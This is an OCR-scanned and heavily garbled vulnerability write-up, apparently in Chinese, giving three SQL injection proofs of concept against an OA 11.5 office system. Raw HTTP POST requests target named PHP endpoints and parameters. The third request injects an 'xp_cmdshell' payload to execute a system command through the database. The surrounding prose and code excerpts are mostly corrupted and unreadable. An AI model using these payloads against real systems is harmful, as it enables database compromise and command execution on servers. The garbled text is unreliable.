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0x01 SQL 3F N POC(11.5 R A TEEF):
RS SORT_ID, FILE_SORT
BithRAN: 8iX OA 11.5

POST /general/file_folder/swfupload_new.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wino4; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/5
37.36

Referer: http://192.168.202.1/

Connection: close

Host: 192.168.202.1

Content-Length: 391

Accept: text/html,application/xhtml+xml,application/xml;qg=0.
9,*/*;0=0.8

Accept-Language: en-US

Content-Type: multipart/form-data; boundary=---------- GFioQpM
Kovv2

———————————— GFioQpMKOvv2

Content-Disposition: form-data; name="ATTACHMENT_ID"

———————————— GFioQpMK@vv2
Content-Disposition: form-data; name="ATTACHMENT_NAME"

———————————— GF1i0QpMKQvv2

Content-Disposition: form-data; name="FILE_SORT"
2

———————————— GFioQpMKOvv2

Content-Disposition: form-data; name="SORT_ID"



———————————— GFioQpMKOvv2--

EETE, T£EEHE cookie ZfE, RI—HFRHEN, XA 1.5
ARATFAERZINEEEEN

IRIES 4 webroot\general\file_folder\swfupload_new.php ,
5t%& SORT_ID 5 FILE_SORT Z2#{, XM TS 8L
$data[""]; RIBWZE, HEEZEFTA SQL EEIEGP, RBEMIEMD
TR, EREN.

o 2i%Sec

NT ID . "

R 2iFSec




0x02 SQL A POC (BidiE)

BESE: CONTENT_ ID_STR
BHITARA: J&EiX OA 11.5

POST /general/file_folder/api.php HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/5
37.36

Referer: http://192.168.202.1/general/file_folder/public_fold
er.php?FILE_SORT=1&SORT_ID=59

X-Resource-Type: xhr

Cookie: PHPSESSID=glnjm64pl94eietps8@muet5d7; USER_NAME_COOKI
E=admin; OA_USER_ID=admin; SID_1=fab32701

Connection: close

Host: 192.168.202.1

Pragma: no-cache

x-requested-with: XMLHttpRequest

Content-Length: 82

x-wvs-id: Acunetix-Deepscan/209

Cache-Control: no-cache

accept: */*

origin: http://192.168.202.1

Accept-Language: en-US

content-type: application/x-www-form-urlencoded; charset=UTF-
8

CONTENT_ID_STR=222&SORT_ID=59&FILE_SORT=1&action=sign

TR 14 webroot\general\file_folder\folder.php,
BRETT td_trim RKE, =IIEE: =K. BIRF. BT,
. EHHIRNGE. ReERE, =il and FEQFTEER
o &R,

SCONTENT_ID_ARRAY [$




R;

R Ti¥Sec

function td trim($STR, $charlist)
=
= if
1

return trim($SSTR, Scharlist);

AMRBREIMEZEXN, IURGELAT, FTHXET.,

0x03 SQL ¥ A POC:
RS remark
BithRA: &L OA 11.5

POST /general/appbuilder/web/meeting/meetingmanagement/meetin
greceipt HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/5
37.36

Referer: http://192.168.202.1/general/meeting/myapply/detail
s.php?affair=true&id=5&nosign=true&reminding=true
X-Resource-Type: xhr

Cookie: PHPSESSID=glnjm64pl94eietps8@muet5d7; USER_NAME_COOKI
E=admin; OA_USER_ID=admin; SID_1=fab32701

Connection: close

Host: 192.168.202.1

Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 97

x-wvs-id: Acunetix-Deepscan/186
Cache-Control: no-cache

accept: */*

origin: http://192.168.202.1
Accept-Language: en-US



content-type: dpplLicatlon/xX-Www-torm-urLencoded; charset=Ult-
8
m_id=5&join_flag=2&remark="9%3b%20exec%2@master%leX%2exp_cmdshe
11%20 "' ping%20172%2e10%2e1%2e255" - -

NTENT,SEHD_TIME SEMIND UL} values

NEHEDE
webroot\general\appbuilder\modules\meeting\models\MeetingReceipt.php
o IATFEET $remark=%datal'remark']; 5§ $form->REMARK =

$remark; FILAEE| remark SEEETIE, EIZHHER insert 158

FRISRETEN




